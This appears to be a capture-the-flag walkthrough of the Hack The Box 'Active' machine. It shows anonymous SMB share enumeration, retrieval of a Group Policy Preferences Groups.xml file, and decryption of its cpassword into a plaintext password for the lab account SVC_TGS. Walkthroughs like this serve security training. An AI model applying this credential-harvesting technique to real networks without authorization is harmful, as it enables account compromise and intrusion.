SMB

smbclient --no-pass -L //10.10.10.100 Anonymous login successful

Sharename       Type      Comment
---------       ----      -------
ADMIN$          Disk      Remote Admin
C$              Disk      Default share
IPC$            IPC       Remote IPC
NETLOGON        Disk      Logon server share 
Replication     Disk      
SYSVOL          Disk      Logon server share 
Users           Disk      

╭─      /home/kali/Active ▓▒░────────────────────────────────────────────────────────────────░▒▓ ✔  root@kali 
╰─ smbmap -H 10.10.10.100                            
[+] IP: 10.10.10.100:445	Name: active.htb                                        
        Disk                                                  	Permissions	Comment
	----                                                  	-----------	-------
	ADMIN$                                            	NO ACCESS	Remote Admin
	C$                                                	NO ACCESS	Default share
	IPC$                                              	NO ACCESS	Remote IPC
	NETLOGON                                          	NO ACCESS	Logon server share 
	Replication                                       	READ ONLY	
	SYSVOL                                            	NO ACCESS	Logon server share 
	Users                                             	NO ACCESS	

Inside there was a Groups.xml file that contains the credentials for a user called SVC-TGS

<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"><User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="active.htb\SVC_TGS" image="2" changed="2018-07-18 20:46:06" uid="{EF57DA28-5F69-4530-A59E-AAB58578219D}"><Properties action="U" newName="" fullName="" description="" cpassword="edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ" changeLogon="0" noChange="1" neverExpires="1" acctDisabled="0" userName="active.htb\SVC_TGS"/></User>
</Groups>

This cpassword can be decrypted using GPP-Decrypt.

gpp-decrypt edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ      
GPPstillStandingStrong2k18